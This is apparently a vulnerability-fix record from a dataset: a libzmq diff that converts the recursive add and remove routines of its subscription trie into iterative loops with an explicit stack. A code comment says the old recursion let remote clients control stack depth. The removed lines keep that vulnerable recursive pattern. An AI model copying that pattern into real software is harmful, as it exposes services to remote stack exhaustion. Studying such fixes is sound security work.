}\n-\n- zmq_assert (_count > 1);\n \n- // Free the node table if it's no longer used.\n- switch (_live_nodes) {\n- case 0:\n- free (_next.table);\n- _next.table = NULL;\n- _count = 0;\n- break;\n- case 1:\n- // Compact the node table if possible\n-\n- // If there's only one live node in the table we can\n- // switch to using the more compact single-node\n- // representation\n- zmq_assert (new_min == new_max);\n- zmq_assert (new_min >= _min && new_min < _min + _count);\n- {\n- generic_mtrie_t *node = _next.table[new_min - _min];\n- zmq_assert (node);\n- free (_next.table);\n- _next.node = node;\n+ switch (it.node->_count) {\n+ case 0:\n+ // If there are no subnodes in the trie, we are done with this node\n+ // pre-processing.\n+ break;\n+ case 1: {\n+ // If there's one subnode (optimisation).\n+\n+ buff[it.size] = it.node->_min;\n+ // Mark this node as pre-processed and push it, so that the next\n+ // visit after the operation on the child can do the removals.\n+ it.processed_for_removal = true;\n+ stack.push_back (it);\n+ struct iter next = {\n+ it.node->_next.node, NULL, NULL, ++it.size, 0, 0, false};\n+ stack.push_back (next);\n+ break;\n+ }\n+ default: {\n+ // If there are multiple subnodes.\n+ // When first visiting this node, initialize the new_min/max parameters\n+ // which will then be used after each child has been processed, on the\n+ // post-children iterations.\n+ if (it.current_child == 0) {\n+ // New min non-null character in the node table after the removal\n+ it.new_min = it.node->_min + it.node->_count - 1;\n+ // New max non-null character in the node table after the removal\n+ it.new_max = it.node->_min;\n+ }\n+\n+ // Mark this node as pre-processed and push it, so that the next\n+ // visit after the operation on the child can do the removals.\n+ buff[it.size] = it.node->_min + it.current_child;\n+ it.processed_for_removal = true;\n+ stack.push_back (it);\n+ if (it.node->_next.table[it.current_child]) {\n+ struct iter next = {\n+ it.node->_next.table[it.current_child],\n+ NULL,\n+ NULL,\n+ it.size + 1,\n+ 0,\n+ 0,\n+ false};\n+ stack.push_back (next);\n+ }\n+ }\n }\n- _count = 1;\n- _min = new_min;\n- break;\n- default:\n- if (new_min > _min || new_max < _min + _count - 1) {\n- zmq_assert (new_max - new_min + 1 > 1);\n-\n- generic_mtrie_t **old_table = _next.table;\n- zmq_assert (new_min > _min || new_max < _min + _count - 1);\n- zmq_assert (new_min >= _min);\n- zmq_assert (new_max <= _min + _count - 1);\n- zmq_assert (new_max - new_min + 1 < _count);\n-\n- _count = new_max - new_min + 1;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n-\n- memmove (_next.table, old_table + (new_min - _min),\n- sizeof (generic_mtrie_t *) * _count);\n- free (old_table);\n-\n- _min = new_min;\n+ } else {\n+ // Reset back for the next time, in case this node doesn't get deleted.\n+ // This is done unconditionally, unlike when setting this variable to true.\n+ it.processed_for_removal = false;\n+\n+ switch (it.node->_count) {\n+ case 0:\n+ // If there are no subnodes in the trie, we are done with this node\n+ // post-processing.\n+ break;\n+ case 1:\n+ // If there's one subnode (optimisation).\n+\n+ // Prune the node if it was made redundant by the removal\n+ if (it.node->_next.node->is_redundant ()) {\n+ LIBZMQ_DELETE (it.node->_next.node);\n+ it.node->_count = 0;\n+ --it.node->_live_nodes;\n+ zmq_assert (it.node->_live_nodes == 0);\n+ }\n+ break;\n+ default:\n+ // If there are multiple subnodes.\n+ {\n+ if (it.node->_next.table[it.current_child]) {\n+ // Prune redundant nodes from the mtrie\n+ if (it.node->_next.table[it.current_child]\n+ ->is_redundant ()) {\n+ LIBZMQ_DELETE (\n+ it.node->_next.table[it.current_child]);\n+\n+ zmq_assert (it.node->_live_nodes > 0);\n+ --it.node->_live_nodes;\n+ } else {\n+ // The node is not redundant, so it's a candidate for being\n+ // the new min/max node.\n+ //\n+ // We loop through the node array from left to right, so the\n+ // first non-null, non-redundant node encountered is the new\n+ // minimum index. Conversely, the last non-redundant, non-null\n+ // node encountered is the new maximum index.\n+ if (it.current_child + it.node->_min\n+ < it.new_min)\n+ it.new_min =\n+ it.current_child + it.node->_min;\n+ if (it.current_child + it.node->_min\n+ > it.new_max)\n+ it.new_max =\n+ it.current_child + it.node->_min;\n+ }\n+ }\n+\n+ // If there are more children to visit, push again the current\n+ // node, so that pre-processing can happen on the next child.\n+ // If we are done, reset the child index so that the ::rm is\n+ // fully idempotent.\n+ ++it.current_child;\n+ if (it.current_child >= it.node->_count)\n+ it.current_child = 0;\n+ else {\n+ stack.push_back (it);\n+ continue;\n+ }\n+\n+ // All children have been visited and removed if needed, and\n+ // all pre- and post-visit operations have been carried.\n+ // Resize/free the node table if needed.\n+ zmq_assert (it.node->_count > 1);\n+\n+ // Free the node table if it's no longer used.\n+ switch (it.node->_live_nodes) {\n+ case 0:\n+ free (it.node->_next.table);\n+ it.node->_next.table = NULL;\n+ it.node->_count = 0;\n+ break;\n+ case 1:\n+ // Compact the node table if possible\n+\n+ // If there's only one live node in the table we can\n+ // switch to using the more compact single-node\n+ // representation\n+ zmq_assert (it.new_min == it.new_max);\n+ zmq_assert (it.new_min >= it.node->_min);\n+ zmq_assert (it.new_min\n+ < it.node->_min + it.node->_count);\n+ {\n+ generic_mtrie_t *node =\n+ it.node->_next\n+ .table[it.new_min - it.node->_min];\n+ zmq_assert (node);\n+ free (it.node->_next.table);\n+ it.node->_next.node = node;\n+ }\n+ it.node->_count = 1;\n+ it.node->_min = it.new_min;\n+ break;\n+ default:\n+ if (it.new_min > it.node->_min\n+ || it.new_max < it.node->_min\n+ + it.node->_count - 1) {\n+ zmq_assert (it.new_max - it.new_min + 1\n+ > 1);\n+\n+ generic_mtrie_t **old_table =\n+ it.node->_next.table;\n+ zmq_assert (it.new_min > it.node->_min\n+ || it.new_max\n+ < it.node->_min\n+ + it.node->_count - 1);\n+ zmq_assert (it.new_min >= it.node->_min);\n+ zmq_assert (it.new_max\n+ <= it.node->_min\n+ + it.node->_count - 1);\n+ zmq_assert (it.new_max - it.new_min + 1\n+ < it.node->_count);\n+\n+ it.node->_count =\n+ it.new_max - it.new_min + 1;\n+ it.node->_next.table =\n+ static_cast (\n+ malloc (sizeof (generic_mtrie_t *)\n+ * it.node->_count));\n+ alloc_assert (it.node->_next.table);\n+\n+ memmove (it.node->_next.table,\n+ old_table\n+ + (it.new_min - it.node->_min),\n+ sizeof (generic_mtrie_t *)\n+ * it.node->_count);\n+ free (old_table);\n+\n+ it.node->_min = it.new_min;\n+ }\n+ }\n+ }\n }\n+ }\n }\n-}\n-template \n-typename generic_mtrie_t::rm_result\n-generic_mtrie_t::rm (prefix_t prefix_, size_t size_, value_t *pipe_)\n-{\n- return rm_helper (prefix_, size_, pipe_);\n+\n+ free (buff);\n }\n \n template \n typename generic_mtrie_t::rm_result\n-generic_mtrie_t::rm_helper (prefix_t prefix_, size_t size_, value_t *pipe_)\n+generic_mtrie_t::rm (prefix_t prefix_, size_t size_, value_t *pipe_)\n {\n- if (!size_) {\n- if (!_pipes)\n- return not_found;\n-\n- typename pipes_t::size_type erased = _pipes->erase (pipe_);\n- if (_pipes->empty ()) {\n- zmq_assert (erased == 1);\n- LIBZMQ_DELETE (_pipes);\n- return last_value_removed;\n- }\n- return (erased == 1) ? values_remain : not_found;\n- }\n-\n- const unsigned char c = *prefix_;\n- if (!_count || c < _min || c >= _min + _count)\n- return not_found;\n-\n- generic_mtrie_t *next_node =\n- _count == 1 ? _next.node : _next.table[c - _min];\n-\n- if (!next_node)\n- return not_found;\n+ // This used to be implemented as a non-tail recursive travesal of the trie,\n+ // which means remote clients controlled the depth of the recursion and the\n+ // stack size.\n+ // To simulate the non-tail recursion, with post-recursion changes depending on\n+ // the result of the recursive call, a stack is used to re-visit the same node\n+ // and operate on it again after children have been visisted.\n+ // A boolean is used to record whether the node had already been visited and to\n+ // determine if the pre- or post- children visit actions have to be taken.\n+ rm_result ret = not_found;\n+ std::list stack;\n+ struct iter it = {this, NULL, prefix_, size_, 0, 0, 0, false};\n+ stack.push_back (it);\n+\n+ while (!stack.empty ()) {\n+ it = stack.back ();\n+ stack.pop_back ();\n+\n+ if (!it.processed_for_removal) {\n+ if (!it.size) {\n+ if (!it.node->_pipes) {\n+ ret = not_found;\n+ continue;\n+ }\n+\n+ typename pipes_t::size_type erased =\n+ it.node->_pipes->erase (pipe_);\n+ if (it.node->_pipes->empty ()) {\n+ zmq_assert (erased == 1);\n+ LIBZMQ_DELETE (it.node->_pipes);\n+ ret = last_value_removed;\n+ continue;\n+ }\n+\n+ ret = (erased == 1) ? values_remain : not_found;\n+ continue;\n+ }\n \n- const rm_result ret = next_node->rm_helper (prefix_ + 1, size_ - 1, pipe_);\n+ it.current_child = *it.prefix;\n+ if (!it.node->_count || it.current_child < it.node->_min\n+ || it.current_child >= it.node->_min + it.node->_count) {\n+ ret = not_found;\n+ continue;\n+ }\n \n- if (next_node->is_redundant ()) {\n- LIBZMQ_DELETE (next_node);\n- zmq_assert (_count > 0);\n+ it.next_node =\n+ it.node->_count == 1\n+ ? it.node->_next.node\n+ : it.node->_next.table[it.current_child - it.node->_min];\n+ if (!it.next_node) {\n+ ret = not_found;\n+ continue;\n+ }\n \n- if (_count == 1) {\n- _next.node = 0;\n- _count = 0;\n- --_live_nodes;\n- zmq_assert (_live_nodes == 0);\n+ it.processed_for_removal = true;\n+ stack.push_back (it);\n+ struct iter next = {\n+ it.next_node, NULL, it.prefix + 1, it.size - 1, 0, 0, 0, false};\n+ stack.push_back (next);\n } else {\n- _next.table[c - _min] = 0;\n- zmq_assert (_live_nodes > 1);\n- --_live_nodes;\n-\n- // Compact the table if possible\n- if (_live_nodes == 1) {\n- // If there's only one live node in the table we can\n- // switch to using the more compact single-node\n- // representation\n- unsigned short i;\n- for (i = 0; i < _count; ++i)\n- if (_next.table[i])\n- break;\n-\n- zmq_assert (i < _count);\n- _min += i;\n- _count = 1;\n- generic_mtrie_t *oldp = _next.table[i];\n- free (_next.table);\n- _next.node = oldp;\n- } else if (c == _min) {\n- // We can compact the table \"from the left\"\n- unsigned short i;\n- for (i = 1; i < _count; ++i)\n- if (_next.table[i])\n- break;\n-\n- zmq_assert (i < _count);\n- _min += i;\n- _count -= i;\n- generic_mtrie_t **old_table = _next.table;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- memmove (_next.table, old_table + i,\n- sizeof (generic_mtrie_t *) * _count);\n- free (old_table);\n- } else if (c == _min + _count - 1) {\n- // We can compact the table \"from the right\"\n- unsigned short i;\n- for (i = 1; i < _count; ++i)\n- if (_next.table[_count - 1 - i])\n- break;\n-\n- zmq_assert (i < _count);\n- _count -= i;\n- generic_mtrie_t **old_table = _next.table;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- memmove (_next.table, old_table,\n- sizeof (generic_mtrie_t *) * _count);\n- free (old_table);\n+ it.processed_for_removal = false;\n+\n+ if (it.next_node->is_redundant ()) {\n+ LIBZMQ_DELETE (it.next_node);\n+ zmq_assert (it.node->_count > 0);\n+\n+ if (it.node->_count == 1) {\n+ it.node->_next.node = NULL;\n+ it.node->_count = 0;\n+ --it.node->_live_nodes;\n+ zmq_assert (it.node->_live_nodes == 0);\n+ } else {\n+ it.node->_next.table[it.current_child - it.node->_min] = 0;\n+ zmq_assert (it.node->_live_nodes > 1);\n+ --it.node->_live_nodes;\n+\n+ // Compact the table if possible\n+ if (it.node->_live_nodes == 1) {\n+ // If there's only one live node in the table we can\n+ // switch to using the more compact single-node\n+ // representation\n+ unsigned short i;\n+ for (i = 0; i < it.node->_count; ++i)\n+ if (it.node->_next.table[i])\n+ break;\n+\n+ zmq_assert (i < it.node->_count);\n+ it.node->_min += i;\n+ it.node->_count = 1;\n+ generic_mtrie_t *oldp = it.node->_next.table[i];\n+ free (it.node->_next.table);\n+ it.node->_next.table = NULL;\n+ it.node->_next.node = oldp;\n+ } else if (it.current_child == it.node->_min) {\n+ // We can compact the table \"from the left\"\n+ unsigned short i;\n+ for (i = 1; i < it.node->_count; ++i)\n+ if (it.node->_next.table[i])\n+ break;\n+\n+ zmq_assert (i < it.node->_count);\n+ it.node->_min += i;\n+ it.node->_count -= i;\n+ generic_mtrie_t **old_table = it.node->_next.table;\n+ it.node->_next.table =\n+ static_cast (malloc (\n+ sizeof (generic_mtrie_t *) * it.node->_count));\n+ alloc_assert (it.node->_next.table);\n+ memmove (it.node->_next.table, old_table + i,\n+ sizeof (generic_mtrie_t *) * it.node->_count);\n+ free (old_table);\n+ } else if (it.current_child\n+ == it.node->_min + it.node->_count - 1) {\n+ // We can compact the table \"from the right\"\n+ unsigned short i;\n+ for (i = 1; i < it.node->_count; ++i)\n+ if (it.node->_next.table[it.node->_count - 1 - i])\n+ break;\n+\n+ zmq_assert (i < it.node->_count);\n+ it.node->_count -= i;\n+ generic_mtrie_t **old_table = it.node->_next.table;\n+ it.node->_next.table =\n+ static_cast (malloc (\n+ sizeof (generic_mtrie_t *) * it.node->_count));\n+ alloc_assert (it.node->_next.table);\n+ memmove (it.node->_next.table, old_table,\n+ sizeof (generic_mtrie_t *) * it.node->_count);\n+ free (old_table);\n+ }\n+ }\n }\n }\n }", "sections": [{"section": "@@ -35,6 +35,7 @@ along with this program. If not, see .\n \n #include \n #include \n+#include \n \n #include \"err.hpp\"\n #include \"macros.hpp\"\n", "related": false}, {"section": "@@ -69,85 +70,88 @@ template generic_mtrie_t::~generic_mtrie_t ()\n template \n bool generic_mtrie_t::add (prefix_t prefix_, size_t size_, value_t *pipe_)\n {\n- return add_helper (prefix_, size_, pipe_);\n-}\n-\n-template \n-bool generic_mtrie_t::add_helper (prefix_t prefix_,\n- size_t size_,\n- value_t *pipe_)\n-{\n- // We are at the node corresponding to the prefix. We are done.\n- if (!size_) {\n- const bool result = !_pipes;\n- if (!_pipes) {\n- _pipes = new (std::nothrow) pipes_t;\n- alloc_assert (_pipes);\n+ generic_mtrie_t *it = this;\n+\n+ while (size_) {\n+ const unsigned char c = *prefix_;\n+\n+ if (c < it->_min || c >= it->_min + it->_count) {\n+ // The character is out of range of currently handled\n+ // characters. We have to extend the table.\n+ if (!it->_count) {\n+ it->_min = c;\n+ it->_count = 1;\n+ it->_next.node = NULL;\n+ } else if (it->_count == 1) {\n+ const unsigned char oldc = it->_min;\n+ generic_mtrie_t *oldp = it->_next.node;\n+ it->_count = (it->_min < c ? c - it->_min : it->_min - c) + 1;\n+ it->_next.table = static_cast (\n+ malloc (sizeof (generic_mtrie_t *) * it->_count));\n+ alloc_assert (it->_next.table);\n+ for (unsigned short i = 0; i != it->_count; ++i)\n+ it->_next.table[i] = 0;\n+ it->_min = std::min (it->_min, c);\n+ it->_next.table[oldc - it->_min] = oldp;\n+ } else if (it->_min < c) {\n+ // The new character is above the current character range.\n+ const unsigned short old_count = it->_count;\n+ it->_count = c - it->_min + 1;\n+ it->_next.table = static_cast (realloc (\n+ it->_next.table, sizeof (generic_mtrie_t *) * it->_count));\n+ alloc_assert (it->_next.table);\n+ for (unsigned short i = old_count; i != it->_count; i++)\n+ it->_next.table[i] = NULL;\n+ } else {\n+ // The new character is below the current character range.\n+ const unsigned short old_count = it->_count;\n+ it->_count = (it->_min + old_count) - c;\n+ it->_next.table = static_cast (realloc (\n+ it->_next.table, sizeof (generic_mtrie_t *) * it->_count));\n+ alloc_assert (it->_next.table);\n+ memmove (it->_next.table + it->_min - c, it->_next.table,\n+ old_count * sizeof (generic_mtrie_t *));\n+ for (unsigned short i = 0; i != it->_min - c; i++)\n+ it->_next.table[i] = NULL;\n+ it->_min = c;\n+ }\n }\n- _pipes->insert (pipe_);\n- return result;\n- }\n \n- const unsigned char c = *prefix_;\n- if (c < _min || c >= _min + _count) {\n- // The character is out of range of currently handled\n- // characters. We have to extend the table.\n- if (!_count) {\n- _min = c;\n- _count = 1;\n- _next.node = NULL;\n- } else if (_count == 1) {\n- const unsigned char oldc = _min;\n- generic_mtrie_t *oldp = _next.node;\n- _count = (_min < c ? c - _min : _min - c) + 1;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- for (unsigned short i = 0; i != _count; ++i)\n- _next.table[i] = 0;\n- _min = std::min (_min, c);\n- _next.table[oldc - _min] = oldp;\n- } else if (_min < c) {\n- // The new character is above the current character range.\n- const unsigned short old_count = _count;\n- _count = c - _min + 1;\n- _next.table = static_cast (\n- realloc (_next.table, sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- for (unsigned short i = old_count; i != _count; i++)\n- _next.table[i] = NULL;\n+ // If next node does not exist, create one.\n+ if (it->_count == 1) {\n+ if (!it->_next.node) {\n+ it->_next.node = new (std::nothrow) generic_mtrie_t;\n+ alloc_assert (it->_next.node);\n+ ++(it->_live_nodes);\n+ }\n+\n+ ++prefix_;\n+ --size_;\n+ it = it->_next.node;\n } else {\n- // The new character is below the current character range.\n- const unsigned short old_count = _count;\n- _count = (_min + old_count) - c;\n- _next.table = static_cast (\n- realloc (_next.table, sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- memmove (_next.table + _min - c, _next.table,\n- old_count * sizeof (generic_mtrie_t *));\n- for (unsigned short i = 0; i != _min - c; i++)\n- _next.table[i] = NULL;\n- _min = c;\n- }\n- }\n+ if (!it->_next.table[c - it->_min]) {\n+ it->_next.table[c - it->_min] =\n+ new (std::nothrow) generic_mtrie_t;\n+ alloc_assert (it->_next.table[c - it->_min]);\n+ ++(it->_live_nodes);\n+ }\n \n- // If next node does not exist, create one.\n- if (_count == 1) {\n- if (!_next.node) {\n- _next.node = new (std::nothrow) generic_mtrie_t;\n- alloc_assert (_next.node);\n- ++_live_nodes;\n+ ++prefix_;\n+ --size_;\n+ it = it->_next.table[c - it->_min];\n }\n- return _next.node->add_helper (prefix_ + 1, size_ - 1, pipe_);\n }\n- if (!_next.table[c - _min]) {\n- _next.table[c - _min] = new (std::nothrow) generic_mtrie_t;\n- alloc_assert (_next.table[c - _min]);\n- ++_live_nodes;\n+\n+ // We are at the node corresponding to the prefix. We are done.\n+ const bool result = !it->_pipes;\n+ if (!it->_pipes) {\n+ it->_pipes = new (std::nothrow) pipes_t;\n+ alloc_assert (it->_pipes);\n }\n- return _next.table[c - _min]->add_helper (prefix_ + 1, size_ - 1, pipe_);\n-}\n+ it->_pipes->insert (pipe_);\n \n+ return result;\n+}\n \n template \n template \n", "related": false}, {"section": "@@ -158,261 +162,371 @@ void generic_mtrie_t::rm (value_t *pipe_,\n Arg arg_,\n bool call_on_uniq_)\n {\n+ // This used to be implemented as a non-tail recursive travesal of the trie,\n+ // which means remote clients controlled the depth of the recursion and the\n+ // stack size.\n+ // To simulate the non-tail recursion, with post-recursion changes depending on\n+ // the result of the recursive call, a stack is used to re-visit the same node\n+ // and operate on it again after children have been visisted.\n+ // A boolean is used to record whether the node had already been visited and to\n+ // determine if the pre- or post- children visit actions have to be taken.\n+ // In the case of a node with (N > 1) children, the node has to be re-visited\n+ // N times, in the correct order after each child visit.\n+ std::list stack;\n unsigned char *buff = NULL;\n- rm_helper (pipe_, &buff, 0, 0, func_, arg_, call_on_uniq_);\n- free (buff);\n-}\n-\n-template \n-template \n-void generic_mtrie_t::rm_helper (value_t *pipe_,\n- unsigned char **buff_,\n- size_t buffsize_,\n- size_t maxbuffsize_,\n- void (*func_) (prefix_t data_,\n- size_t size_,\n- Arg arg_),\n- Arg arg_,\n- bool call_on_uniq_)\n-{\n- // Remove the subscription from this node.\n- if (_pipes && _pipes->erase (pipe_)) {\n- if (!call_on_uniq_ || _pipes->empty ()) {\n- func_ (*buff_, buffsize_, arg_);\n- }\n-\n- if (_pipes->empty ()) {\n- LIBZMQ_DELETE (_pipes);\n- }\n- }\n-\n- // Adjust the buffer.\n- if (buffsize_ >= maxbuffsize_) {\n- maxbuffsize_ = buffsize_ + 256;\n- *buff_ = static_cast (realloc (*buff_, maxbuffsize_));\n- alloc_assert (*buff_);\n- }\n-\n- switch (_count) {\n- case 0:\n- // If there are no subnodes in the trie, return.\n- break;\n- case 1:\n- // If there's one subnode (optimisation).\n-\n- (*buff_)[buffsize_] = _min;\n- buffsize_++;\n- _next.node->rm_helper (pipe_, buff_, buffsize_, maxbuffsize_, func_,\n- arg_, call_on_uniq_);\n-\n- // Prune the node if it was made redundant by the removal\n- if (_next.node->is_redundant ()) {\n- LIBZMQ_DELETE (_next.node);\n- _count = 0;\n- --_live_nodes;\n- zmq_assert (_live_nodes == 0);\n+ size_t maxbuffsize = 0;\n+ struct iter it = {this, NULL, NULL, 0, 0, 0, false};\n+ stack.push_back (it);\n+\n+ while (!stack.empty ()) {\n+ it = stack.back ();\n+ stack.pop_back ();\n+\n+ if (!it.processed_for_removal) {\n+ // Remove the subscription from this node.\n+ if (it.node->_pipes && it.node->_pipes->erase (pipe_)) {\n+ if (!call_on_uniq_ || it.node->_pipes->empty ()) {\n+ func_ (buff, it.size, arg_);\n+ }\n+\n+ if (it.node->_pipes->empty ()) {\n+ LIBZMQ_DELETE (it.node->_pipes);\n+ }\n }\n- break;\n- default:\n- // If there are multiple subnodes.\n- rm_helper_multiple_subnodes (buff_, buffsize_, maxbuffsize_, func_,\n- arg_, call_on_uniq_, pipe_);\n- break;\n- }\n-}\n \n-template \n-template \n-void generic_mtrie_t::rm_helper_multiple_subnodes (\n- unsigned char **buff_,\n- size_t buffsize_,\n- size_t maxbuffsize_,\n- void (*func_) (prefix_t data_, size_t size_, Arg arg_),\n- Arg arg_,\n- bool call_on_uniq_,\n- value_t *pipe_)\n-{\n- // New min non-null character in the node table after the removal\n- unsigned char new_min = _min + _count - 1;\n- // New max non-null character in the node table after the removal\n- unsigned char new_max = _min;\n- for (unsigned short c = 0; c != _count; c++) {\n- (*buff_)[buffsize_] = _min + c;\n- if (_next.table[c]) {\n- _next.table[c]->rm_helper (pipe_, buff_, buffsize_ + 1,\n- maxbuffsize_, func_, arg_,\n- call_on_uniq_);\n-\n- // Prune redundant nodes from the mtrie\n- if (_next.table[c]->is_redundant ()) {\n- LIBZMQ_DELETE (_next.table[c]);\n-\n- zmq_assert (_live_nodes > 0);\n- --_live_nodes;\n- } else {\n- // The node is not redundant, so it's a candidate for being\n- // the new min/max node.\n- //\n- // We loop through the node array from left to right, so the\n- // first non-null, non-redundant node encountered is the new\n- // minimum index. Conversely, the last non-redundant, non-null\n- // node encountered is the new maximum index.\n- if (c + _min < new_min)\n- new_min = c + _min;\n- if (c + _min > new_max)\n- new_max = c + _min;\n+ // Adjust the buffer.\n+ if (it.size >= maxbuffsize) {\n+ maxbuffsize = it.size + 256;\n+ buff =\n+ static_cast (realloc (buff, maxbuffsize));\n+ alloc_assert (buff);\n }\n- }\n- }\n-\n- zmq_assert (_count > 1);\n \n- // Free the node table if it's no longer used.\n- switch (_live_nodes) {\n- case 0:\n- free (_next.table);\n- _next.table = NULL;\n- _count = 0;\n- break;\n- case 1:\n- // Compact the node table if possible\n-\n- // If there's only one live node in the table we can\n- // switch to using the more compact single-node\n- // representation\n- zmq_assert (new_min == new_max);\n- zmq_assert (new_min >= _min && new_min < _min + _count);\n- {\n- generic_mtrie_t *node = _next.table[new_min - _min];\n- zmq_assert (node);\n- free (_next.table);\n- _next.node = node;\n+ switch (it.node->_count) {\n+ case 0:\n+ // If there are no subnodes in the trie, we are done with this node\n+ // pre-processing.\n+ break;\n+ case 1: {\n+ // If there's one subnode (optimisation).\n+\n+ buff[it.size] = it.node->_min;\n+ // Mark this node as pre-processed and push it, so that the next\n+ // visit after the operation on the child can do the removals.\n+ it.processed_for_removal = true;\n+ stack.push_back (it);\n+ struct iter next = {\n+ it.node->_next.node, NULL, NULL, ++it.size, 0, 0, false};\n+ stack.push_back (next);\n+ break;\n+ }\n+ default: {\n+ // If there are multiple subnodes.\n+ // When first visiting this node, initialize the new_min/max parameters\n+ // which will then be used after each child has been processed, on the\n+ // post-children iterations.\n+ if (it.current_child == 0) {\n+ // New min non-null character in the node table after the removal\n+ it.new_min = it.node->_min + it.node->_count - 1;\n+ // New max non-null character in the node table after the removal\n+ it.new_max = it.node->_min;\n+ }\n+\n+ // Mark this node as pre-processed and push it, so that the next\n+ // visit after the operation on the child can do the removals.\n+ buff[it.size] = it.node->_min + it.current_child;\n+ it.processed_for_removal = true;\n+ stack.push_back (it);\n+ if (it.node->_next.table[it.current_child]) {\n+ struct iter next = {\n+ it.node->_next.table[it.current_child],\n+ NULL,\n+ NULL,\n+ it.size + 1,\n+ 0,\n+ 0,\n+ false};\n+ stack.push_back (next);\n+ }\n+ }\n }\n- _count = 1;\n- _min = new_min;\n- break;\n- default:\n- if (new_min > _min || new_max < _min + _count - 1) {\n- zmq_assert (new_max - new_min + 1 > 1);\n-\n- generic_mtrie_t **old_table = _next.table;\n- zmq_assert (new_min > _min || new_max < _min + _count - 1);\n- zmq_assert (new_min >= _min);\n- zmq_assert (new_max <= _min + _count - 1);\n- zmq_assert (new_max - new_min + 1 < _count);\n-\n- _count = new_max - new_min + 1;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n-\n- memmove (_next.table, old_table + (new_min - _min),\n- sizeof (generic_mtrie_t *) * _count);\n- free (old_table);\n-\n- _min = new_min;\n+ } else {\n+ // Reset back for the next time, in case this node doesn't get deleted.\n+ // This is done unconditionally, unlike when setting this variable to true.\n+ it.processed_for_removal = false;\n+\n+ switch (it.node->_count) {\n+ case 0:\n+ // If there are no subnodes in the trie, we are done with this node\n+ // post-processing.\n+ break;\n+ case 1:\n+ // If there's one subnode (optimisation).\n+\n+ // Prune the node if it was made redundant by the removal\n+ if (it.node->_next.node->is_redundant ()) {\n+ LIBZMQ_DELETE (it.node->_next.node);\n+ it.node->_count = 0;\n+ --it.node->_live_nodes;\n+ zmq_assert (it.node->_live_nodes == 0);\n+ }\n+ break;\n+ default:\n+ // If there are multiple subnodes.\n+ {\n+ if (it.node->_next.table[it.current_child]) {\n+ // Prune redundant nodes from the mtrie\n+ if (it.node->_next.table[it.current_child]\n+ ->is_redundant ()) {\n+ LIBZMQ_DELETE (\n+ it.node->_next.table[it.current_child]);\n+\n+ zmq_assert (it.node->_live_nodes > 0);\n+ --it.node->_live_nodes;\n+ } else {\n+ // The node is not redundant, so it's a candidate for being\n+ // the new min/max node.\n+ //\n+ // We loop through the node array from left to right, so the\n+ // first non-null, non-redundant node encountered is the new\n+ // minimum index. Conversely, the last non-redundant, non-null\n+ // node encountered is the new maximum index.\n+ if (it.current_child + it.node->_min\n+ < it.new_min)\n+ it.new_min =\n+ it.current_child + it.node->_min;\n+ if (it.current_child + it.node->_min\n+ > it.new_max)\n+ it.new_max =\n+ it.current_child + it.node->_min;\n+ }\n+ }\n+\n+ // If there are more children to visit, push again the current\n+ // node, so that pre-processing can happen on the next child.\n+ // If we are done, reset the child index so that the ::rm is\n+ // fully idempotent.\n+ ++it.current_child;\n+ if (it.current_child >= it.node->_count)\n+ it.current_child = 0;\n+ else {\n+ stack.push_back (it);\n+ continue;\n+ }\n+\n+ // All children have been visited and removed if needed, and\n+ // all pre- and post-visit operations have been carried.\n+ // Resize/free the node table if needed.\n+ zmq_assert (it.node->_count > 1);\n+\n+ // Free the node table if it's no longer used.\n+ switch (it.node->_live_nodes) {\n+ case 0:\n+ free (it.node->_next.table);\n+ it.node->_next.table = NULL;\n+ it.node->_count = 0;\n+ break;\n+ case 1:\n+ // Compact the node table if possible\n+\n+ // If there's only one live node in the table we can\n+ // switch to using the more compact single-node\n+ // representation\n+ zmq_assert (it.new_min == it.new_max);\n+ zmq_assert (it.new_min >= it.node->_min);\n+ zmq_assert (it.new_min\n+ < it.node->_min + it.node->_count);\n+ {\n+ generic_mtrie_t *node =\n+ it.node->_next\n+ .table[it.new_min - it.node->_min];\n+ zmq_assert (node);\n+ free (it.node->_next.table);\n+ it.node->_next.node = node;\n+ }\n+ it.node->_count = 1;\n+ it.node->_min = it.new_min;\n+ break;\n+ default:\n+ if (it.new_min > it.node->_min\n+ || it.new_max < it.node->_min\n+ + it.node->_count - 1) {\n+ zmq_assert (it.new_max - it.new_min + 1\n+ > 1);\n+\n+ generic_mtrie_t **old_table =\n+ it.node->_next.table;\n+ zmq_assert (it.new_min > it.node->_min\n+ || it.new_max\n+ < it.node->_min\n+ + it.node->_count - 1);\n+ zmq_assert (it.new_min >= it.node->_min);\n+ zmq_assert (it.new_max\n+ <= it.node->_min\n+ + it.node->_count - 1);\n+ zmq_assert (it.new_max - it.new_min + 1\n+ < it.node->_count);\n+\n+ it.node->_count =\n+ it.new_max - it.new_min + 1;\n+ it.node->_next.table =\n+ static_cast (\n+ malloc (sizeof (generic_mtrie_t *)\n+ * it.node->_count));\n+ alloc_assert (it.node->_next.table);\n+\n+ memmove (it.node->_next.table,\n+ old_table\n+ + (it.new_min - it.node->_min),\n+ sizeof (generic_mtrie_t *)\n+ * it.node->_count);\n+ free (old_table);\n+\n+ it.node->_min = it.new_min;\n+ }\n+ }\n+ }\n }\n+ }\n }\n-}\n-template \n-typename generic_mtrie_t::rm_result\n-generic_mtrie_t::rm (prefix_t prefix_, size_t size_, value_t *pipe_)\n-{\n- return rm_helper (prefix_, size_, pipe_);\n+\n+ free (buff);\n }\n \n template \n typename generic_mtrie_t::rm_result\n-generic_mtrie_t::rm_helper (prefix_t prefix_, size_t size_, value_t *pipe_)\n+generic_mtrie_t::rm (prefix_t prefix_, size_t size_, value_t *pipe_)\n {\n- if (!size_) {\n- if (!_pipes)\n- return not_found;\n-\n- typename pipes_t::size_type erased = _pipes->erase (pipe_);\n- if (_pipes->empty ()) {\n- zmq_assert (erased == 1);\n- LIBZMQ_DELETE (_pipes);\n- return last_value_removed;\n- }\n- return (erased == 1) ? values_remain : not_found;\n- }\n-\n- const unsigned char c = *prefix_;\n- if (!_count || c < _min || c >= _min + _count)\n- return not_found;\n-\n- 